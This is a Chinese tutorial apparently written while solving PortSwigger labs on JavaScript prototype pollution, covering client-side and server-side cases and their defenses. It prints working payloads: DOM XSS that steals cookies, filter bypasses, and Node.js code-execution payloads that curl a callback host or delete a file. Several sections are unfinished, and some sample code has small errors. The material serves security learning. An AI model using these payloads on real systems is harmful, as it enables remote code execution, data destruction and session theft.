PortSwigger 原型污染

一、什么是原型污染

        原型污染是一种 JavaScript 漏洞,它使攻击者能够向全局对象原型添加任意属性,然后这些属性可能被用户定义的对象继承。

二、JavaScript 原型和继承基础

  1、原型

    JavaScript 中的每个对象都链接到某种类型的另一个对象,称为其原型。JavaScript 会自动为新对象分配其内置原型之一。例如,字符串会自动分配内置的String.prototype

let myObject = {};
Object.getPrototypeOf(myObject);    // Object.prototype

let myString = "";
Object.getPrototypeOf(myString);    // String.prototype

let myArray = [];
Object.getPrototypeOf(myArray);	    // Array.prototype

let myNumber = 1;
Object.getPrototypeOf(myNumber);    // Number.prototype

2、继承 

      对象会自动继承其分配的原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使开发人员能够创建可以重用现有对象的属性和方法的新对象。

3、原型链

        每个函数对象有 prototype 属性,而实例对象没有,但所有的实例对象(函数,数组,对象)都会初始化一个私有属性 __proto__ 指向它的构造函数的原型对象 prototype。

        构造函数、原型对象、以及实例对象的关系理清如下:

  • 个构造函数都有一个 prototype 原型对象
  • 每个实例对象都有一个 __proto__ 属性,并且指向它的构造函数的原型对象 prototype
  • 对象里的 constructor 属性指向其构造函数本身

        函数对象的 prototype 是另一个对象,它也有自己的 prototype,依此类推。这条链最终会回到顶层 ,其原型就是Object.prototype,对象不仅从其直接原型继承属性,还会继承直接原型继承的属性。

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链: f ---> Function.prototype ---> Object.prototype ---> null

4、 使用 __proto__ 访问对象的原型

        每个对象都有一个特殊属性 __proto__,可以使用该属性来访问其原型。例如:

username.__proto__
username['__proto__']

        将引用链接起来,访问原型链上的其他原型,例如:

username.__proto__                        // String.prototype
username.__proto__.__proto__              // Object.prototype
username.__proto__.__proto__.__proto__    // null

5、修改原型 

        可以像修改任何其他对象一样修改 JavaScript 的内置原型。开发人员可以自定义或覆盖内置方法的行为,或者可以添加新方法来执行必要的操作。

        例如, 在 JavaScript 中为 String.prototype 添加一个 removeWhitespace 方法,以去除字符串前后的空白字符

String.prototype.removeWhitespace = function(){
    // remove leading and trailing whitespace
}

 添加自定义方法后,所有字符串都可以访问此方法

let searchTerm = "  example ";
searchTerm.removeWhitespace();    // "example"

 三、原型污染漏洞原理

直接污染原型

object[a][b] = value

当a、b均可控制的时候将直接导致原型污染,如下:

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); //Hello World

        原型污染漏洞通常出现在 JavaScript 函数以递归方式将包含用户可控制属性的对象合并到现有对象中。这可能允许攻击者注入__proto__属性以及任意嵌套属性。

        merge 操作可能会将嵌套属性分配给对象的原型,而不是目标对象本身。攻击者可以使用包含有害值的属性污染原型,这些值随后可能会被应用程序以危险的方式使用。

merge递归合并污染原型

        在这个例子中,由于merge函数没有正确处理__proto__属性,导致object1被污染。原本和object2 递归合并的结果是a: 1,"__proto__": {b: 2},结果变成了a: 1,b: 2

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
};

let object1 = {};
let object2 = {a: 1,"__proto__": {b: 2}};
merge(object1, object2);
console.log(object2);
console.log(object1); 

JSON.parse()污染

        JSON.parse() 方法用于将一个 JSON 字符串转换成一个 JavaScript 对象。在转换过程中,JSON.parse() 会解析字符串中的属性和值,并创建一个新的 JavaScript 对象,其属性和值与 JSON 字符串中的对应。

        如果 JSON 字符串中包含特殊属性(如 __proto__),并且 JSON.parse() 方法没有对其进行特殊处理,那么这些特殊属性可能会被添加到解析后的对象的原型上,从而改变对象的原型链。(注意:我使用浏览器没有复现成功,读者可以找低版本浏览器试试) 

const jsonString = '{"__proto__": {"isAdmin": true}}';
const obj = JSON.parse(jsonString);
console.log(obj.isAdmin); // 输出: true
console.log(Object.prototype.isAdmin); // 输出: true,这改变了全局的 Object.prototype

   成功利用原型污染必备条件

  • 原型污染源 - 能够向原型对象注入恶意属性的输入

  • 接收器 - 允能够执行任意代码的 JavaScript 函数或 DOM 元素

  • 可利用的小工具(Sink) - 未经适当筛选或清理而接收并处理来自原型污染源的数据的属性或方法。

四、 原型污染源

        原型污染源是任何用户可控制的输入,可用于向原型对象添加任意属性。常见的来源如下:

  • URL

  • 基于 JSON 的输入

  • Web 消息

1、通过 URL 对原型进行污染

构造如下查询字符串,可通过递归合并函数造成原型污染:

https://vulnerable-website.com/?__proto__[evilProperty]=payload

2、 通过 JSON 输入对污染进行原型设计

例如,通过 Web 消息注入了以下恶意 JSON

{
    "__proto__": {
        "evilProperty": "payload"
    }
}

通过JSON.parse()__proto__将其转换为 JavaScript 对象后,objectFromJson的原型将被改变:

const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

objectFromJson.hasOwnProperty('__proto__');  //ture

 五、 客户端原型污染

1、通过客户端原型污染的 DOM XSS

手动解决方案

(1)寻找原型污染源

尝试注入任意属性进行污染:

/?__proto__[foo]=bar

通过浏览器的 DevTools 面板 Consolo 控制台访问,查看是否有对象返回,有返回确定为污染源

>>Object.prototype.foo
<<'bar'

(2)识别小工具

        在浏览器的 DevTools 面板中,转到 Sources () 选项卡。研究目标站点加载的 JavaScript 文件,查找 DOM XSS 接收器。发现页面加载后会创建 script 代码 并调用 transport_url 变量。如果对象的原型进行污染即可利用。        

Object 变量如何被污染的:

见deparam 函数关键代码::

            if ( keys_last ) {
                for ( ; i <= keys_last; i++ ) {
                    key = keys[i] === '' ? cur.length : keys[i];
                    cur = cur[key] = i < keys_last
                        ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
                        : val;
                }

 当url参数被传入deparam函数,在进入if循环前__proto__[cc]=by 最终被处理为:

keys=["__proto__","cc"]
keys_last=1
val = by

将上述变量带入if循环,当存在 keys_last 执行第一次循环 :

第一次循环 i=0,key=“__proto__”,cur[__proto__] =__proto__,cur = cur[“__proto__”]

由于cur["__proto__"] 等于 Object.prototype 此时 cur指向了Object.prototype。

第二次循环 i=1,key=“cc”,cur["cc"]=by 相当于 Object.prototype['cc'] = by,最终导致了Object原型变量被污染。

(3)漏洞利用

使用确定的原型污染源,尝试注入任意属性

/?__proto__[transport_url]=foo

 构造XSS负载

/?__proto__[transport_url]=data:,alert(1);

DOM Invader 解决方案

  • 在使用 Burp 的内置浏览器中打开测试网站,启用 DOM Invader 、 prototype pollution 选项。
  • 打开浏览器的 DevTools 面板,转到 DOM Invader 选项卡,重新加载页面。
  • DOM Invader 在属性中将识别了两个原型污染向量,即查询字符串。
  • 单击 Scan for gadgets(扫描小工具)。将打开一个新选项卡,其中 DOM Invader 开始扫描使用所选源的小工具。
  • 扫描完成后,在与扫描相同的选项卡中打开 DevTools 面板 的 DOM Invader 选项卡。
  • 观察 DOM Invader 已通过 Gadget 成功访问接收器。
  • 单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)

2、通过替代原型污染向量的 DOM XSS

手动解决方案

(1)识别污染源

/?__proto__[cc]=by
/?__proto__.cc=by

(2)识别小工具

加载页面后调用searchlogger,最终执行eval命令,当污染原型的sequence变量即可造成污染。

小知识:eval() 函数会将传入的字符串当做 JavaScript 代码进行执行。

(3)漏洞利用

利用代码如下:

/?__proto__.sequence=alert(1)-

未弹窗,通过 consolek控制台,跳到js代码打上断点,发现传入的值带1,不是javascript代码

通过 - 进行注释,最终为结果如图,将之插入url并刷新,成功利用。

/?__proto__.sequence=alert(1)-

DOM Invader 解决方案

  • 在使用 Burp 的内置浏览器中打开测试网站,启用 DOM Invader 、 prototype pollution 选项。
  • 打开浏览器的 DevTools 面板,转到 DOM Invader 选项卡,重新加载页面。
  • DOM Invader 在属性中将识别了两个原型污染向量,即查询字符串。
  • 单击 Scan for gadgets(扫描小工具)。将打开一个新选项卡,其中 DOM Invader 开始扫描使用所选源的小工具。
  • 扫描完成后,在与扫描相同的选项卡中打开 DevTools 面板 的 DOM Invader 选项卡。
  • 观察 DOM Invader 已通过 Gadget 成功访问接收器。
  • 单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)
  • 打断点排查报错有缺陷的消毒造成的客户端原型污染

3、有缺陷的消除造成的客户端原型污染 (字符串绕过)

手动解决方案

(1)识别污染源

?__pro__proto__to__[by]=cc

(2)识别小工具

(3)漏洞利用

4、第三方库中的客户端原型污染

  • 启用 DOM Invader 、 prototype pollution 选项。 
  • 进入DevTools 面板的 DOM Invader 选项卡,然后重新加载页面。
  • DOM Invader 在属性中识别了两个原型污染向量,即 URL 片段字符串
  • 单击 Scan for gadgets(扫描小工具)。开始扫描使用所选源的小工具。
  • 在扫描选项卡中打开 DevTools 面板的DOM Invader 选项卡,Sinks中识别到了小工具
  • 单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)
  • 在利用服务器构造负载,body添加如下代码:
<script>
    location="https://YOUR-LAB-ID.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

        location 内容为自动生成的负载,点击保存发送到受害者,受害者点解利用服务器网址,将加载负载,弹出受害者cookies

六、 通过浏览器 API 构建原型污染

手动解决方案

1、识别污染源

2、识别小工具

 Object.defineProperty() 静态方法会直接在一个对象上定义一个新属性,或修改其现有属性,并返回此对象。

Object.defineProperty(obj, prop, descriptor)

obj
    要定义属性的对象。
prop
    一个字符串或 Symbol,指定了要定义或修改的属性键。
descriptor
    要定义或修改的属性的描述符。
返回值
    传入函数的对象,其指定的属性已被添加或修改。

        configurable 控制属性是否可以从对象中删除以及其特性(除了 value 和 writable)是否可以更改。

        writable 当 writable 特性设置为 false 时,该属性被称为“不可写的”。它不能被重新赋值。

        根据源码可知config函数中定义了 transport_url: false ,由于config函数存在该属性,将不会继续读取原型的transport_url属性, 导致后续将无法读取污染的原型利用。接下来使用了Object.defineProperty()重新定义 transport_url属性,没有设置value值,这将导致继承object原型的value值,即config.transport_url=value值。

(3)漏洞利用

DOM Invader 解决方案

  • 启用 DOM Invader 、 prototype pollution 选项。 
  • 进入DevTools 面板的 DOM Invader 选项卡,然后重新加载页面。
  • DOM Invader 在属性中识别了两个原型污染向量,即 URL 片段字符串
  • 单击 Scan for gadgets(扫描小工具)。开始扫描使用所选源的小工具。
  • 在扫描选项卡中打开 DevTools 面板的DOM Invader 选项卡,Sinks中识别到了小工具
  • 单击 Exploit (漏洞利用

七、 服务器端原型污染

1、通过服务器端原型污染进行权限提升

原理:在使用 for ... in ... 循环的过程,会读取原型中自定义的属性

(1)识别污染源

利用json数据更新就行参数污染,在更新用户数据页面传入参数污染,发现用户成功将污染属性输出,如图:

(2)识别小工具

用户信息中存在"isAdmin":false,尝试参数污染将isAdmin属性值定义为ture,如图所示:

(3)进行利用

刷新页面发现,已具备admin权限,如图:

2、检测服务器端原型污染,而不产生受污染的属性反射

常见手法:

        Express 状态代覆盖:通过判断返回的状态码值,判断是否进行了污染。

"__proto__": {
    "status":555
}

        Express版本 <  4.17.4 JSON空格覆盖:通过判断返回的空格变化,判断是否进行了污染。

"__proto__":{"json spaces":10}

        Express 字符集覆盖:首先将信息进行utf-7编码,正常回显不会显示解码信息,当使用UTF-7 字符集的属性来污染原型,如果此处存在参数污染,将返回解码的数据。

foo in UTF-7 is +AGYAbwBv-.
    "__proto__":{
        "content-type": "application/json; charset=utf-7"
    }

         Express 字符集覆盖(续):主要的原因是由于Node 模块中的一个错误导致的,为避免在请求包含重复标头时覆盖原有属性,该函数在将属性传输到对象之前会检查是否不存在具有相同键的属性,此检查将会包括通过 prototype 链继承的属性。将导致参数被污染。

(1)尝试正常污染参数,发现无回显,如图:

"__proto__": {
    "foo":"bar"
}

(2)使用状态代覆盖覆盖方式查看是否受到参数污染影响

通过修改json格式触发报错,报错状态码为400

构造参数污染,将状态码属性改为555:

"__proto__": {
    "status":555
}

在此尝试报错,返现状态码已经被污染,如图:

4、使用扫描器扫描服务器端原型污染源

(1)从 BApp Store 安装 Server-Side Prototype Pollution 。Burp---Extensions--BApp-store

(2)使用 Burp 自带浏览器访问目标网站,使之记录足够多的请求记录

(3)在 Burp 的 Proxy > HTTP history 选取测试的数据包 转到Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution >从列表中选择一种扫描技术

(4)在 Burp Suite Professional 版本中,该扩展会通过“控制板”和“目标”选项卡上的“问题”活动面板报告它找到的原型污染源。在  Burp Suite Community Edition版本,则需要转到Extensions > Installed(已安装的扩展)选项卡,选择扩展,通过OUtput进行查看。如图:

5、绕过有缺陷的输入滤波器,防止服务器端原型污染

常见绕过方法:

        模糊绕过,例如:

__pro__proto__to__

        通过 constructor 属性绕过,例如:

"constructor": {
    "prototype": {
        "ccc":"byy"
    }
}

原理:在JavaScript中,constructor 属性是一个非常特殊的属性,它存在于所有通过构造函数(constructor function)创建的实例对象上。这个属性指向创建该实例对象的构造函数。可通过prototype 修改构造函数原型的属性。例如:

//定义了一个名为 Person 的类,它有一个构造函数,接受两个参数:name 和 age,并将它们分别赋值给实例的 name 和 age 属性。
class Person {
    constructor(name, age) {
        this.name = name;
        this.age = age;
    }
}

//person2 是通过 Person 类创建的一个实例对象
const person2 = new Person("Bob", 25);

//在 JavaScript 中,每个通过类创建的实例对象都有一个 constructor 属性,该属性指向创建该实例的构造函数。因此,这个比较结果为 true。
console.log(person2.constructor === Person); // true

//使用prototype给Person的原型对象添加方法,之后所有的实际将继承该方法
Person.prototype.sayHello = function() {
    console.log('Hello, my name is ' + this.name);
};

// person1的__proto__指向Person.prototype
console.log(person1.__proto__ === Person.prototype); // true

(1)正常注入发现无返回,如图

(2)尝试使用模糊测试进行污染,存在返回,说明服务端对__proto__进行了过滤。如图:

(3)通过属性污染原型,成功回显,如图:

(4)识别小工具,尝试将isAdmin 变为 true,利用成功。如图:

6、通过服务器端原型污染远程执行代码

        Node 的一些用于创建新子进程的函数接受一个可选属性,这使开发人员能够设置一个特定的 shell、 bash。

"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
    ]
}

    execArgv  是一个与 child_process 模块相关的选项,它允许你在创建子进程时指定传递给该子进程的 Node.js 命令行参数。

    --eval选项:Node.js CLI的--eval(或-e)选项允许你直接传递一段JavaScript代码给Node.js执行,而不需要将其保存在文件中。例如,node -e "console.log('Hello, world!')"会打印出Hello, world!        

    require('child_process').execSync:这是Node.js核心模块child_process中的一个方法,用于同步执行shell命令

(1)尝试参数污染

通过回显判断:

通过空格覆盖判断:

(2)尝试触发burp Collaborator  的DNS 记录

插入参数污染:

"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
    ]
}

 手动触发job作业:

存在返回,说明sink工具可以被利用 ,如图:

(3) 制作漏洞利用

"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
}

7、通过 child_process.execSync() 执行远程代码 

        和fork()一样,该execSync()方法也接受 options 对象,该对象可能通过原型链被污染。虽然这不接受属性execArgv,但您仍然可以通过同时污染shell和input将系统命令注入正在运行的子进程中: 

        该input选项只是一个字符串,它被传递给子进程的stdin流并由 执行为系统命令execSync()。由于还有其他选项可以提供命令,例如简单地将其作为参数传递给函数,因此input属性本身可能未定义。
        该shell选项允许开发人员声明他们希望在其中运行命令的特定 shell。默认情况下,execSync()使用系统的默认 shell 来运行命令,因此这也可以不定义。

        通过污染这两个属性,可以覆盖应用程序开发人员打算执行的命令,并在您选择的 shell 中运行恶意命令。

"shell":"vim",
"input":":! whoami\n"
"__proto__":{
"shell":"vim"
"input":":! curl https://aguk8yjornzbbwze022mz92ogfm6awyl.oastify.com
\n"}

 八、防止原型污染

1、清理属性健

        防止原型污染漏洞的更明显方法之一是在将属性键合并到现有对象之前对其进行清理,例如:__proto__

2、防止更改原型对象

        防止原型污染漏洞的更可靠方法是完全防止原型对象被更改。

        对对象调用Object.freeze(Object.prototype可确保无法再修改其属性及其值,并且无法添加新属性。

   bject.seal()Object.freeze()类似,但仍允许更改现有属性的值。

// 创建一个普通对象
const person = {
    name: "Alice",
    age: 25
};

// 冻结对象
Object.freeze(person);

// 尝试修改对象的属性
person.name = "Bob"; // 无效
person.age = 30;    // 无效

// 冻结 Object.prototype
Object.freeze(Object.prototype);
 
// 尝试添加一个新的方法到 Object.prototype
Object.prototype.newMethod = function() {
    console.log("This is a new method on Object.prototype");
};
 
// 尝试调用新的方法
const obj = {};
obj.newMethod(); // TypeError: Cannot add property newMethod, object is not extensible
 

3、阻止对象继承属性 

        默认情况下,所有对象都通过 prototype 链直接或间接地从 global 继承。可以通过使用该方法手动设置对象的原型。

let myObject = Object.create(null); Object.getPrototypeOf(myObject); // null

4、 使用更安全的替代品

        使用提供内置保护的对象,例如,在定义 options 对象时,使用其他方法替代。尽管 map 仍然可以继承恶意属性,但它们有一个内置方法,该方法仅返回直接在 map 本身上定义的属性:

Object.prototype.evil = 'polluted';
let options = new Map();
options.set('transport_url', 'https://normal-website.com');

options.evil;                    // 'polluted'
options.get('evil');             // undefined
options.get('transport_url');    // 'https://normal-website.com'

        集合提供了一个内置方法,这些方法只返回直        接在对象本身上定义的属性:

Object.prototype.evil = 'polluted';
let options = new Set();
options.add('safe');

options.evil;           // 'polluted';
option.has('evil');     // false
options.has('safe');    // true

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/929159.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

AMEYA360:上海永铭电子全新高压牛角型铝电解电容IDC3系列,助力AI服务器电源高效运转

随着数据中心和云计算的高速发展&#xff0c;AI服务器的能效要求日益提高。如何在有限空间内实现更高的功率密度和稳定的电源管理&#xff0c;成为AI服务器电源设计的一大挑战。永铭推出全新高压牛角型铝电解电容IDC3系列&#xff0c;以大容量、小尺寸的创新特性&#xff0c;为…

jmeter基础_打开1个jmeter脚本(.jmx文件)

课程大纲 方法1.菜单栏“打开” 菜单栏“文件” - “打开” &#xff08;或快捷键&#xff0c;mac为“⌘ O”&#xff09;&#xff0c;打开文件选择窗口 - 选择脚本文件&#xff0c;点击“open”&#xff0c;即可打开脚本。 方法2.工具栏“打开”图标 工具栏点击“打开”图标&…

基于微信小程序的教学质量评价系统

​ 私信我获取源码和万字论文&#xff0c;制作不易&#xff0c;感谢点赞支持。 基于微信小程序的教学质量评价系统 摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了基于微信小程序的教学质量评价系统的开发全过…

数据结构-最小生成树

一.最小生成树的定义 从V个顶点的图里生成的一颗树&#xff0c;这颗树有V个顶点是连通的&#xff0c;有V-1条边&#xff0c;并且边的权值和是最小的,而且不能有回路 二.Prim算法 Prim算法又叫加点法&#xff0c;算法比较适合稠密图 每次把边权最小的顶点加入到树中&#xff0…

增量预训练网络安全大模型的一次尝试

一、背景 探索使用网络安全知识&#xff0c;对开源基模型进行增强&#xff0c;评估是否能使基模型在网络安全领域表现出更好地专业度。 项目基于云起无垠SecGPT开源项目&#xff0c;在hugeface开源数据集的基础上&#xff0c;增加了自有预训练数据&#xff0c;进行增量预训练…

从零开始配置 Docker 网络:快速掌握各类型网络的设置与使用场景

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 文章内容 📒📝 Docker 网络类型概述🎯 Bridge 驱动🎯 Host 驱动🎯 None 驱动🎯 Overlay 驱动🎯 Macvlan 驱动🔖 获取网络接口📝 总结:选择合适的网络类型⚓️ 相关链接 ⚓️📖 介绍 📖 如果你曾经在搭建…

C语言(一维数组练习)

键盘录入一组数列&#xff0c;利用冒泡排序将数据由大到小排序 #include <stdio.h>int main(int argc,char *argv[]) {int i,j,tmep;int arr[10];printf("请输入10个测试整数&#xff1a;\n");int lensizeof(arr)/sizeof(arr[0]);for(i0;i<len;i){scanf(&q…

PostgreSQL实现透视表查询

PostgreSQL 8.3版本发布时&#xff0c;引入了一个名为tablefunc的新扩展。这个扩展提供了一组非常有趣的函数。其中之一是交叉表函数&#xff0c;用于创建数据透视表。这就是我们将在本文中讨论的内容。 需求说明 解释此函数如何工作的最简单方法是使用带有数据透视表的示例…

消息中间件-Kafka1-实现原理

消息中间件-Kafka 一、kafka简介 1、概念 Kafka是最初由Linkedin公司开发&#xff0c;是一个分布式、支持分区&#xff08;partition&#xff09;、多副本的&#xff08;replica&#xff09;&#xff0c;基于zookeeper协调的分布式消息系统&#xff0c;它的最大的特性就是可以…

protobuf实现Hbase数据压缩

目录 前置HBase数据压缩效果获取数据(反序列化) 前置 安装说明 使用说明 HBaseDDL和DML操作 HBase数据压缩 问题 在上文的datain中原文 每次写入数据会写入4个单元格的内容&#xff0c;现在希望能对其进行筛减&#xff0c;合并成1格&#xff0c;减少存储空间&#xff08;序列…

爬虫专栏第二篇:Requests 库实战:从基础 GET 到 POST 登录全攻略

简介&#xff1a;本文聚焦 Requests 库的强大功能与应用实战。首先介绍其安装步骤及版本选择要点&#xff0c;随后深入讲解 GET 请求&#xff0c;以百度页面为例&#xff0c;展示如何发起基本 GET 请求、巧妙添加 headers 与参数以精准搜索&#xff0c;以及正确设置 encoding 避…

【Leetcode】19. 删除链表的第N个节点

【Leetcode】19. 删除链表的第N个节点 1. 题目介绍2. 方法一&#xff1a;计算链表长度逻辑流程:代码复杂度分析 1. 题目介绍 题目描述 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,…

工业齐套管理虚拟现实仿真模拟软件

工业齐套管理虚拟现实仿真模拟软件是与法国最大的汽车制造商合作开发的一款虚拟现实仿真模拟软件&#xff0c;借助身临其境的虚拟现实环境&#xff0c;无需停止生产线&#xff0c;即可模拟仓库和提货区域。 工业齐套管理虚拟现实仿真模拟软件不仅适用于汽车工业&#xff0c;安全…

【嘟嘟早教卡】 小程序源码分享带后台管理

【嘟嘟早教卡】是专门为 3-6 岁婴幼儿童学习普通话、英语研发的早教启蒙认知识字的小程序 小程序由 Taro 及 Tailwind CSS 构建而成&#xff0c;后台管理使用 Laravel 及 Tailwind CSS 想法源于小时候玩的认知卡片&#xff0c;基本大部分家庭都买过认知卡片&#xff0c;我按照…

概率论相关知识随记

作为基础知识的补充&#xff0c;随学随记&#xff0c;方便以后查阅。 概率论相关知识随记 期望&#xff08;Expectation&#xff09;期望的定义离散型随机变量的期望示例&#xff1a;掷骰子的期望 连续型随机变量的期望示例&#xff1a;均匀分布的期望 期望的性质线性性质期望的…

FastAPI 响应状态码:管理和自定义 HTTP Status Code

FastAPI 响应状态码&#xff1a;管理和自定义 HTTP Status Code 本文介绍了如何在 FastAPI 中声明、使用和修改 HTTP 状态码&#xff0c;涵盖了常见的 HTTP 状态码分类&#xff0c;如信息响应&#xff08;1xx&#xff09;、成功状态&#xff08;2xx&#xff09;、客户端错误&a…

oracle 11g中如何快速设置表分区的自动增加

在很多业务系统中&#xff0c;一些大表一般通过分区表的形式来实现数据的分离管理&#xff0c;进而加快数据查询的速度。分区表运维管理的时候&#xff0c;由于人为操作容易忘记添加分区&#xff0c;导致业务数据写入报错。所以我们一般通过配置脚本或者利用oracle内置功能实现…

机器学习深入剖析逻辑回归算法

一、引言 在机器学习领域&#xff0c;逻辑回归&#xff08;Logistic Regression&#xff09;是一种极为经典且应用广泛的算法。尽管其名称带有 “回归” 二字&#xff0c;但实际上它主要用于解决分类问题&#xff0c;并且在众多领域都发挥着重要作用。接下来&#xff0c;让我们…

如何加强游戏安全,防止定制外挂影响游戏公平性

在现如今的游戏环境中&#xff0c;外挂始终是一个困扰玩家和开发者的问题。尤其是定制挂&#xff08;Customized Cheats&#xff09;&#xff0c;它不仅复杂且隐蔽&#xff0c;更能针对性地绕过传统的反作弊系统&#xff0c;对游戏安全带来极大威胁。定制挂通常是根据玩家的需求…

6.824/6.5840 Lab 1: MapReduce

宁静的夏天 天空中繁星点点 心里头有些思念 思念着你的脸 ——宁夏 完整代码见&#xff1a; https://github.com/SnowLegend-star/6.824 由于这个lab整体难度实在不小&#xff0c;故考虑再三还是决定留下代码仅供参考 6.824的强度早有耳闻&#xff0c;我终于也是到了挑战这座高…